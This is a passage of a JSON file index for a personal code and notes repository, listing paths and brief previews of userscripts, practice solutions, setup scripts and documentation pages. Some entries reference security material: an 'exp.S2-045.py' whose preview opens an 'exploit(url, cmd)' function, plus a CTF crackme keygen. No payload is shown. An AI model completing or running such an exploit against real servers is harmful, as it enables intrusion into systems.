"preview": "// ==UserScript==\r\n// @name ccf badge\r\n// @version 0.2\r\n// @description Add CCF badge to dblp search resul"
},
{
"path": "code/ctf.cf_crackme/zeph1/exp.cpp",
"chars": 1874,
"preview": "#include <stdio.h>\r\n#include <string.h>\r\n/*\r\n Link: http://ctf.tf/ctfs/zeph1/\r\n Exp Author: zjuchenyuan\r\n*/\r\nint i"
},
{
"path": "code/ctf.cf_crackme/zeph1/readme.txt",
"chars": 223,
"preview": "Try to write a valid keygen for this crackme.\r\nIf you manage to do this without patching, then\r\nfeel free to send a tuto"
},
{
"path": "code/decisiontree.py",
"chars": 4400,
"preview": "# -*- coding: gbk -*-\r\n#Original From:http://blog.csdn.net/alvine008/article/details/37760639\r\n#compatible both in pytho"
},
{
"path": "code/dfsanexiv2/Dockerfile",
"chars": 76,
"preview": "FROM zjuchenyuan/angora\r\nADD build.sh /\r\nRUN chmod +x /build.sh && /build.sh"
},
{
"path": "code/dfsanexiv2/build.sh",
"chars": 3129,
"preview": "#!/bin/bash\n# create our ABI list file\nmkdir -p /data\ncd /data\ncat /angora/llvm_mode/build/dfsan_rt/share/dfsan_abilist."
},
{
"path": "code/exp.S2-045.py",
"chars": 1862,
"preview": "#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport urllib2\r\nimport httplib\r\n\r\n\r\ndef exploit(url, cmd):\r\n payload = "
},
{
"path": "code/fixgbknames.py",
"chars": 976,
"preview": "\"\"\"\r\nIf you have a bunch of files in Linux system whose filename is encoded with gbk,\r\nyou will find `ls` cannot correct"
},
{
"path": "code/getcert.py",
"chars": 1260,
"preview": "#!/usr/bin/python\nusage=\"\"\"Usage:\n ./getcert.py example example.com,www.example.com,another.example.com\n \nNote:\n "
},
{
"path": "code/jshook_preload.js",
"chars": 17924,
"preview": "if(typeof(window.RVPNSTATUS)==\"undefined\"){\r\n var RVPNSTATUS = document.location.hostname.indexOf(\"rvpn.zju.edu.cn\")!"
},
{
"path": "code/newubuntu14.txt",
"chars": 1356,
"preview": "#全新ubuntu14.04需要运行的代码\r\n\r\necho \"\"\"nameserver 114.114.114.114\r\nnameserver 223.5.5.5\"\"\"> /etc/resolv.conf\r\n\r\ncurl http://mi"
},
{
"path": "code/pingtest.sh",
"chars": 211,
"preview": "#!/bin/bash\nwhile [ '1' = '1' ];do \nping -c 1 ip.cn &> /dev/null\nif [ $? -ne 0 ];then\n ping -c 1 baidu.com &> /dev/nu"
},
{
"path": "code/pinyin.sql",
"chars": 7507,
"preview": "CREATE TABLE IF NOT EXISTS `t_base_pinyin` (\r\n `pin_yin_` varchar(255) CHARACTER SET gbk NOT NULL,\r\n `code_` int(11) N"
},
{
"path": "code/randomstring.html",
"chars": 920,
"preview": "<script language=\"javascript\"> \r\nfunction randomString(chars,len) {\r\n len = len || 16;\r\n var maxPos = chars.length;\r\n "
},
{
"path": "code/showtiponcc98.user.js",
"chars": 64748,
"preview": "// ==UserScript==\r\n// @name show tip on cc98.org\r\n// @version 0.4.2\r\n// @author chenyuan\r\n// @name"
},
{
"path": "code/spider.oncokb.js",
"chars": 1183,
"preview": "var system = require('system');\r\nvar NAME=system.args[1];\r\nvar page = require('webpage').create();\r\nvar fs = require('fs"
},
{
"path": "code/ssgit.txt",
"chars": 328,
"preview": "#假设已经开好ss的客户端在127.0.0.1:1080了\r\n\r\necho \"\"\"\r\n#!/bin/bash\r\nnc -x 127.0.0.1:1080 -X5 $*\r\n\"\"\">~/proxy-wrapper\r\n\r\nchmod +x ~/p"
},
{
"path": "code/ssprivoxy.txt",
"chars": 1380,
"preview": "#-----------------------\r\n#本代码将安装shadowsocks和privoxy\r\n#执行后再运行的apt-get等操作将通过shadowsocks以提高网络访问速度\r\n#\r\n#适用场景:\r\n# 在优质网络服务"
},
{
"path": "code/staticwebsite_template_compile.py",
"chars": 1984,
"preview": "import os\r\nimport re\r\nfrom bs4 import BeautifulSoup\r\nTEMPLATE_NAMES = [i.replace(\".template.html\",\"\") for i in os.listdi"
},
{
"path": "code/upyun.py",
"chars": 4926,
"preview": "import sys\r\nsys.path.append(\"../..\")\r\nimport sys, time\r\nfrom EasyLogin import EasyLogin\r\na=EasyLogin(cookiefile=\"upyun.s"
},
{
"path": "code/upyun_purge.py",
"chars": 864,
"preview": "import datetime\r\nimport requests\r\nimport hashlib\r\n\r\ndef md5(src):\r\n return hashlib.md5(bytes(src,encoding=\"utf-8\")).h"
},
{
"path": "code/xinetd-ctf.conf",
"chars": 370,
"preview": "#注意/data/run要chmod +x,换行一定要去除\\r\nservice ctf\n{\n disable = no\n socket_type = stream\n protocol = tcp\n wait "
},
{
"path": "code/zju_grs_helper.user.js",
"chars": 12322,
"preview": "// ==UserScript==\r\n// @name ZJU研究生选课助手\r\n// @namespace http://grs.zju.edu.cn\r\n// @version 0.9\r\n// @descri"
},
{
"path": "code/浙大教务网自动评教.txt",
"chars": 2119,
"preview": "//又到了评价老师和助教的时候了,不评教就不能看课表,好烦呢~\r\n//在浏览器开发人员工具(按F12调出)的Console中复制粘贴以下代码即可全部选上非常满意,自动切换到下一位老师\r\n\r\nif (typeof(RadioButtonLis"
},
{
"path": "code/读fasta文件.py",
"chars": 499,
"preview": "#coding:utf-8\r\nname = None\r\nfasta = None\r\n\r\ntry:\r\n raw_input \r\nexcept:\r\n raw_input = input #兼容PY3\r\n \r\ndef handl"
},
{
"path": "code/静态路由设置.bat",
"chars": 4825,
"preview": "@echo off&setlocal enabledelayedexpansion \r\ncls\r\n:: code by shuishui\r\ncolor 0a\r\ntitle \r\nmode con COLS=80 LINES=36\r\n:menu"
},
{
"path": "compile.sh",
"chars": 807,
"preview": "#! /bin/bash\nmkdir -p mdfiles\n## 并发刷新缓存\n## 刷新又拍云缓存,代码在https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyu"
},
{
"path": "dfsan.md",
"chars": 5210,
"preview": "## DataFlow Sanitizer\r\n\r\nhttp://releases.llvm.org/8.0.0/tools/clang/docs/DataFlowSanitizer.html\r\n\r\n### Compiling Exiv2 w"
},
{
"path": "doc/PAT/pat-a-practise/1005.py",
"chars": 208,
"preview": "line=list(map(int,input()))\r\ntranslate={0:\"zero\",1:\"one\",2:\"two\",3:\"three\",4:\"four\",5:\"five\",6:\"six\",7:\"seven\",8:\"eight\""
},
{
"path": "doc/PAT/pat-b-practise/1001.py",
"chars": 122,
"preview": "n=int(input())\r\nres=0\r\nwhile n>1:\r\n res+=1\r\n if n%2==0:\r\n n=n//2\r\n else:\r\n n=(3*n+1)//2\r\nprint(re"
},
{
"path": "doc/PAT/pat-b-practise/1002.py",
"chars": 151,
"preview": "thesum=\"%d\"%sum(map(int,input()))\r\nd=[\"ling\",\"yi\",\"er\",\"san\",\"si\",\"wu\",\"liu\",\"qi\",\"ba\",\"jiu\"]\r\nres=\" \".join(map(lambda i"
},
{
"path": "doc/PAT/pat-b-practise/1003.py",
"chars": 530,
"preview": "def judge(s):\r\n P,A,T=map(s.count,\"PAT\")\r\n if P!=1 or T!=1 or P+A+T!=len(s):\r\n return False\r\n try:\r\n "
},
{
"path": "doc/PAT/pat-b-practise/1004.py",
"chars": 195,
"preview": "N=int(input())\r\ndata={}\r\nfor i in range(N):\r\n s=input().split()\r\n data[int(s[2])]=s[0]+\" \"+s[1]\r\nprint(max(data.it"
},
{
"path": "doc/PAT/pat-b-practise/1005.py",
"chars": 578,
"preview": "input()\r\ncache={1:[1]}\r\ndef calc(n):\r\n global cache\r\n result=[n]\r\n if n in cache:\r\n return cache[n]\r\n "
},
{
"path": "doc/PAT/pat-b-practise/1006.py",
"chars": 259,
"preview": "theinput=list(map(int,input()[::-1]))\r\nres=\"\"\r\nfor i in range(len(theinput)):\r\n if i==0:\r\n res=\"\".join([str(i)"
},
{
"path": "doc/PAT/pat-b-practise/1007.py",
"chars": 449,
"preview": "primes={2:True,3:True}\r\ntheinput=int(input())\r\nfor i in range(2,theinput//2+1):\r\n j=2\r\n if primes.get(i,True)==Fal"
},
{
"path": "doc/PAT/pat-b-practise/1008.py",
"chars": 116,
"preview": "N,M=map(int,input().split())\r\nM=M%N\r\ntheinput=input().split()\r\nres=theinput[-M:]+theinput[:-M]\r\nprint(\" \".join(res))"
},
{
"path": "doc/PAT/pat-b-practise/1009.py",
"chars": 38,
"preview": "print(\" \".join(input().split()[::-1]))"
},
{
"path": "doc/PAT/pat-b-practise/1010.py",
"chars": 442,
"preview": "theinput=list(map(int,input().split()))\r\nxishu=[theinput[i] for i in range(len(theinput)) if i%2==0]\r\nzhishu=[theinput[i"
},
{
"path": "doc/PAT/pat-b-practise/1011.py",
"chars": 190,
"preview": "T=int(input())\r\nfor i in range(T):\r\n A,B,C=map(int,input().split())\r\n if A+B>C:\r\n res=\"true\"\r\n else:\r\n "
},
{
"path": "doc/PAT/pat-b-practise/1012.py",
"chars": 641,
"preview": "theinput=list(map(int,input().split()))\r\ndel(theinput[0])\r\nT={}\r\nA={}\r\nfor i in range(1,6):\r\n T[i]=[j for j in theinp"
},
{
"path": "doc/PAT/pat-b-practise/1013.py",
"chars": 944,
"preview": "M,N=map(int,input().split())\r\n\"\"\"\r\ndef mymethod(N):\r\n primes={2:True,3:True}\r\n for i in range(2,int(sqrt(N))+1):\r\n"
},
{
"path": "doc/PAT/pat-b-practise/1014.py",
"chars": 711,
"preview": "import string\r\ns={}\r\nl={}\r\nfor i in range(4):\r\n s[i]=input()\r\n l[i]=len(s[i])\r\nflag=1\r\nA1={\"A\":\"MON\",\"B\":\"TUE\",\"C\""
},
{
"path": "doc/PAT/pat-b-practise/1023.py",
"chars": 233,
"preview": "theinput=list(map(int,input().split()))\r\ns=\"\"\r\nres=\"\"\r\nfor i in range(10):\r\n s+=theinput[i]*str(i)\r\nfor i in range(le"
},
{
"path": "doc/PAT/pat-b-practise/1063.py",
"chars": 220,
"preview": "import math\r\nN=int(input())\r\nthemax=0\r\nfor i in range(N):\r\n ans=list(map(float,input().split()))\r\n thisone=ans[0]*"
},
{
"path": "doc/PAT/pat-b-practise/1064.py",
"chars": 169,
"preview": "input()\r\nline=input().split()\r\nres=set([])\r\nfor i in line:\r\n res.add(sum([int(j) for j in i]))\r\nprint(len(res))\r\nprin"
},
{
"path": "doc/PAT/pat-b-practise/1065.py",
"chars": 357,
"preview": "N=int(input())\r\ndata={}\r\nfor i in range(N):\r\n line=list(map(int,input().split()))\r\n data[line[0]]=line[1]\r\n dat"
},
{
"path": "doc/biology/ecology.md",
"chars": 3475,
"preview": "#生态数据处理,使用QIIME\r\n\r\n# 作业要求\r\n\r\n1. De-novo OTU picking以及OTU table的制作\r\n2. alpha多样性分析:优势种(>5%/10%)的Relative Abundance分布图;Rare"
},
{
"path": "doc/github/github_profile_checklist.md",
"chars": 576,
"preview": "# Github 检查表 [求职向]\r\n\r\n本文档翻译自Udacity课程资料,[原文在此](http://udacity.github.io/git-styleguide/)\r\n\r\n## 一般性的\r\n\r\n1. 我在Github上至少有4个"
},
{
"path": "doc/how_to_succeed.txt",
"chars": 428,
"preview": "来自Udacity课程字幕\r\n\r\n借在此进行小结的机会\r\n我想留给你一些有关如何成功完成此项目的最终提示\r\n第一 坚决遵守时间表\r\n定时修读课程和完成实战项目\r\n可帮助你有效进行学习和更快达到目标\r\n第二 正如我们的首批毕业生之一所说\r\n要"
},
{
"path": "doc/pygment_langs.txt",
"chars": 26399,
"preview": "Pygments version 2.2.0, (c) 2006-2017 by Georg Brandl.\n\nLexers:\n~~~~~~~\n* abap:\n ABAP (filenames *.abap, *.ABAP)\n* ab"
},
{
"path": "doc/python/quickstart.html",
"chars": 32844,
"preview": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\" />\r\n <title>Pytho"
},
{
"path": "docs/404.html",
"chars": 25209,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/BASH/index.html",
"chars": 33828,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/BAT/index.html",
"chars": 44617,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Bitcoin/index.html",
"chars": 63782,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/C/index.html",
"chars": 70857,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/CDN/index.html",
"chars": 56666,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/CNAME",
"chars": 19,
"preview": "py3.io\nnote.py3.io\n"
},
{
"path": "docs/Developer/index.html",
"chars": 109002,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Docker/index.html",
"chars": 164523,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/ETH/index.html",
"chars": 62084,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Favorites/index.html",
"chars": 26962,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Flask/index.html",
"chars": 67333,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Git/index.html",
"chars": 71041,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/GithubProjectRecommendation/index.html",
"chars": 32003,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Java/index.html",
"chars": 37883,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/JavaScript/index.html",
"chars": 132034,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Jekyll/index.html",
"chars": 31123,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Links/index.html",
"chars": 33445,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Linux-SSH/index.html",
"chars": 35309,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Linux-VirtualBox/index.html",
"chars": 45555,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Linux-backup/index.html",
"chars": 37020,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Linux-cli/index.html",
"chars": 91382,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Linux-setup/index.html",
"chars": 155071,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Misson/index.html",
"chars": 28932,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/MySQL/index.html",
"chars": 61667,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Nginx/index.html",
"chars": 97410,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/PHP/index.html",
"chars": 28954,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/PaperReading/index.html",
"chars": 53052,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Python/index.html",
"chars": 209834,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/PythonCourse/index.html",
"chars": 91284,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/RabbitMQ/index.html",
"chars": 41421,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/S2-045/index.html",
"chars": 39881,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/Ubuntu/index.html",
"chars": 27874,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/WindowsSoftware/index.html",
"chars": 50568,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/assets/css/filelist.txt",
"chars": 2512,
"preview": "https://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xFIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92"
},
{
"path": "docs/assets/css/fonts.css",
"chars": 11566,
"preview": "/* cyrillic-ext */\r\n@font-face {\r\n font-family: 'Roboto';\r\n font-style: italic;\r\n font-weight: 400;\r\n font-display: "
},
{
"path": "docs/assets/javascripts/lunr/tinyseg.js",
"chars": 19942,
"preview": "/**\n * export the module via AMD, CommonJS or as a browser global\n * Export code from https://github.com/umdjs/umd/blob/"
},
{
"path": "docs/assets/javascripts/lunr/wordcut.js",
"chars": 386225,
"preview": "(function(f){if(typeof exports===\"object\"&&typeof module!==\"undefined\"){module.exports=f()}else if(typeof define===\"func"
},
{
"path": "docs/assets/js/comment.js",
"chars": 171994,
"preview": "/*! jQuery v2.0.3 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license\n//@ sourceMappingURL=jquery.min.map\n*/\n("
},
{
"path": "docs/assets/js/css-vars-ponyfill.js",
"chars": 22450,
"preview": "/*!\r\n * css-vars-ponyfill\r\n * v2.3.1\r\n * https://jhildenbiddle.github.io/css-vars-ponyfill/\r\n * (c) 2018-2020 John Hilde"
},
{
"path": "docs/assets/js/index.js",
"chars": 343,
"preview": "if(location.pathname==\"/README/\"){\r\n window.onload = function(){\r\n Array.from(document.querySelectorAll(\"div.m"
},
{
"path": "docs/cURL/index.html",
"chars": 32546,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/ccfbadge/index.html",
"chars": 42542,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/code/EasyLogin.py",
"chars": 20083,
"preview": "# coding:utf-8\r\nfrom __future__ import with_statement\r\n\r\ntry:\r\n from urllib.parse import urlencode, quote, unquote\r\n "
},
{
"path": "docs/code/Javascript/异常.html",
"chars": 376,
"preview": "<form>\r\n<input id=\"txt\" type=\"text\">\r\n<input id=\"btn\" type=\"button\" onclick=\"demo()\" value=\"ť\">\r\n</form>\r\n<script>\r\nfunc"
},
{
"path": "docs/code/MultiThread_Template.py",
"chars": 481,
"preview": "#coding:utf-8\r\n#Python简单多线程模板,支持Py2,Py3\r\n\r\nimport threading\r\nfrom time import sleep\r\n\r\ntheader = 20\r\n\r\ncounter = 0 \r\ndef"
},
{
"path": "docs/code/PHP/ShowDoc.sh",
"chars": 679,
"preview": "# how to install ShowDoc in centos\r\n\r\nyum install nginx php php-gd php-fpm php-mcrypt php-mbstring php-mysql php-pdo\r\n\r\n"
},
{
"path": "docs/code/RVPNKeepAlive.bat",
"chars": 645,
"preview": "REM ڱ֤WindowsϵrvpnϿ\r\nREM űҪдһLoader.batÿ1min(Զ)һαű\r\nREM ˳¼ĵԶcurlȡʧԶ\r\nREM rvpnԶܵ´ڴռãԶChrome.exe\r\n\r\ntaskkill /f /im Log"
},
{
"path": "docs/code/SpecialJudge_检查输出行顺序无关的答案.c",
"chars": 1665,
"preview": "/*\r\n * 本代码是评判输出行无关的Special Judge代码,用于OnlineJudge\r\n * 原理为把标准答案写入代码中,先把标准答案和用户答案都qsort排序后再逐行比较\r\n*/\r\n#include <stdio.h>\r\n#i"
},
{
"path": "docs/code/Understand_recursion/example1.c",
"chars": 1457,
"preview": "#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#define MAX_LEVEL 55\r\ntypedef struct TreeNode *Tree;\r\ns"
},
{
"path": "docs/code/autoseed_byr2nhd.py",
"chars": 6280,
"preview": "from EasyLogin import EasyLogin\r\nimport sys, os, re\r\nfrom PIL import Image\r\nfrom resizeimage import resizeimage\r\nfrom co"
},
{
"path": "docs/code/ccfbadge.user.js",
"chars": 33838,
"preview": "// ==UserScript==\r\n// @name ccf badge\r\n// @version 0.2\r\n// @description Add CCF badge to dblp search resul"
},
{
"path": "docs/code/ctf.cf_crackme/zeph1/exp.cpp",
"chars": 1874,
"preview": "#include <stdio.h>\r\n#include <string.h>\r\n/*\r\n Link: http://ctf.tf/ctfs/zeph1/\r\n Exp Author: zjuchenyuan\r\n*/\r\nint i"
},
{
"path": "docs/code/ctf.cf_crackme/zeph1/readme.txt",
"chars": 223,
"preview": "Try to write a valid keygen for this crackme.\r\nIf you manage to do this without patching, then\r\nfeel free to send a tuto"
},
{
"path": "docs/code/decisiontree.py",
"chars": 4400,
"preview": "# -*- coding: gbk -*-\r\n#Original From:http://blog.csdn.net/alvine008/article/details/37760639\r\n#compatible both in pytho"
},
{
"path": "docs/code/dfsanexiv2/Dockerfile",
"chars": 76,
"preview": "FROM zjuchenyuan/angora\r\nADD build.sh /\r\nRUN chmod +x /build.sh && /build.sh"
},
{
"path": "docs/code/dfsanexiv2/build.sh",
"chars": 3129,
"preview": "#!/bin/bash\n# create our ABI list file\nmkdir -p /data\ncd /data\ncat /angora/llvm_mode/build/dfsan_rt/share/dfsan_abilist."
},
{
"path": "docs/code/exp.S2-045.py",
"chars": 1862,
"preview": "#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport urllib2\r\nimport httplib\r\n\r\n\r\ndef exploit(url, cmd):\r\n payload = "
},
{
"path": "docs/code/fixgbknames.py",
"chars": 976,
"preview": "\"\"\"\r\nIf you have a bunch of files in Linux system whose filename is encoded with gbk,\r\nyou will find `ls` cannot correct"
},
{
"path": "docs/code/getcert.py",
"chars": 1020,
"preview": "#!/usr/bin/python\nusage=\"\"\"Usage:\n ./getcert.py example example.com,www.example.com,another.example.com\n \nNote:\n "
},
{
"path": "docs/code/jshook_preload.js",
"chars": 17924,
"preview": "if(typeof(window.RVPNSTATUS)==\"undefined\"){\r\n var RVPNSTATUS = document.location.hostname.indexOf(\"rvpn.zju.edu.cn\")!"
},
{
"path": "docs/code/newubuntu14.txt",
"chars": 1356,
"preview": "#全新ubuntu14.04需要运行的代码\r\n\r\necho \"\"\"nameserver 114.114.114.114\r\nnameserver 223.5.5.5\"\"\"> /etc/resolv.conf\r\n\r\ncurl http://mi"
},
{
"path": "docs/code/pingtest.sh",
"chars": 211,
"preview": "#!/bin/bash\nwhile [ '1' = '1' ];do \nping -c 1 ip.cn &> /dev/null\nif [ $? -ne 0 ];then\n ping -c 1 baidu.com &> /dev/nu"
},
{
"path": "docs/code/pinyin.sql",
"chars": 7507,
"preview": "CREATE TABLE IF NOT EXISTS `t_base_pinyin` (\r\n `pin_yin_` varchar(255) CHARACTER SET gbk NOT NULL,\r\n `code_` int(11) N"
},
{
"path": "docs/code/randomstring.html",
"chars": 920,
"preview": "<script language=\"javascript\"> \r\nfunction randomString(chars,len) {\r\n len = len || 16;\r\n var maxPos = chars.length;\r\n "
},
{
"path": "docs/code/showtiponcc98.user.js",
"chars": 64748,
"preview": "// ==UserScript==\r\n// @name show tip on cc98.org\r\n// @version 0.4.2\r\n// @author chenyuan\r\n// @name"
},
{
"path": "docs/code/spider.oncokb.js",
"chars": 1183,
"preview": "var system = require('system');\r\nvar NAME=system.args[1];\r\nvar page = require('webpage').create();\r\nvar fs = require('fs"
},
{
"path": "docs/code/ssgit.txt",
"chars": 328,
"preview": "#假设已经开好ss的客户端在127.0.0.1:1080了\r\n\r\necho \"\"\"\r\n#!/bin/bash\r\nnc -x 127.0.0.1:1080 -X5 $*\r\n\"\"\">~/proxy-wrapper\r\n\r\nchmod +x ~/p"
},
{
"path": "docs/code/ssprivoxy.txt",
"chars": 1380,
"preview": "#-----------------------\r\n#本代码将安装shadowsocks和privoxy\r\n#执行后再运行的apt-get等操作将通过shadowsocks以提高网络访问速度\r\n#\r\n#适用场景:\r\n# 在优质网络服务"
},
{
"path": "docs/code/staticwebsite_template_compile.py",
"chars": 1984,
"preview": "import os\r\nimport re\r\nfrom bs4 import BeautifulSoup\r\nTEMPLATE_NAMES = [i.replace(\".template.html\",\"\") for i in os.listdi"
},
{
"path": "docs/code/upyun.py",
"chars": 4926,
"preview": "import sys\r\nsys.path.append(\"../..\")\r\nimport sys, time\r\nfrom EasyLogin import EasyLogin\r\na=EasyLogin(cookiefile=\"upyun.s"
},
{
"path": "docs/code/upyun_purge.py",
"chars": 864,
"preview": "import datetime\r\nimport requests\r\nimport hashlib\r\n\r\ndef md5(src):\r\n return hashlib.md5(bytes(src,encoding=\"utf-8\")).h"
},
{
"path": "docs/code/xinetd-ctf.conf",
"chars": 370,
"preview": "#注意/data/run要chmod +x,换行一定要去除\\r\nservice ctf\n{\n disable = no\n socket_type = stream\n protocol = tcp\n wait "
},
{
"path": "docs/code/zju_grs_helper.user.js",
"chars": 12322,
"preview": "// ==UserScript==\r\n// @name ZJU研究生选课助手\r\n// @namespace http://grs.zju.edu.cn\r\n// @version 0.9\r\n// @descri"
},
{
"path": "docs/code/浙大教务网自动评教.txt",
"chars": 2119,
"preview": "//又到了评价老师和助教的时候了,不评教就不能看课表,好烦呢~\r\n//在浏览器开发人员工具(按F12调出)的Console中复制粘贴以下代码即可全部选上非常满意,自动切换到下一位老师\r\n\r\nif (typeof(RadioButtonLis"
},
{
"path": "docs/code/读fasta文件.py",
"chars": 499,
"preview": "#coding:utf-8\r\nname = None\r\nfasta = None\r\n\r\ntry:\r\n raw_input \r\nexcept:\r\n raw_input = input #兼容PY3\r\n \r\ndef handl"
},
{
"path": "docs/code/静态路由设置.bat",
"chars": 4825,
"preview": "@echo off&setlocal enabledelayedexpansion \r\ncls\r\n:: code by shuishui\r\ncolor 0a\r\ntitle \r\nmode con COLS=80 LINES=36\r\n:menu"
},
{
"path": "docs/dfsan/index.html",
"chars": 57423,
"preview": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n <head>\n \n <meta charset=\"utf-8\">\n <meta name=\"viewport\" c"
},
{
"path": "docs/doc/PAT/pat-a-practise/1005.py",
"chars": 208,
"preview": "line=list(map(int,input()))\r\ntranslate={0:\"zero\",1:\"one\",2:\"two\",3:\"three\",4:\"four\",5:\"five\",6:\"six\",7:\"seven\",8:\"eight\""
},
{
"path": "docs/doc/PAT/pat-b-practise/1001.py",
"chars": 122,
"preview": "n=int(input())\r\nres=0\r\nwhile n>1:\r\n res+=1\r\n if n%2==0:\r\n n=n//2\r\n else:\r\n n=(3*n+1)//2\r\nprint(re"
},
{
"path": "docs/doc/PAT/pat-b-practise/1002.py",
"chars": 151,
"preview": "thesum=\"%d\"%sum(map(int,input()))\r\nd=[\"ling\",\"yi\",\"er\",\"san\",\"si\",\"wu\",\"liu\",\"qi\",\"ba\",\"jiu\"]\r\nres=\" \".join(map(lambda i"
},
{
"path": "docs/doc/PAT/pat-b-practise/1003.py",
"chars": 530,
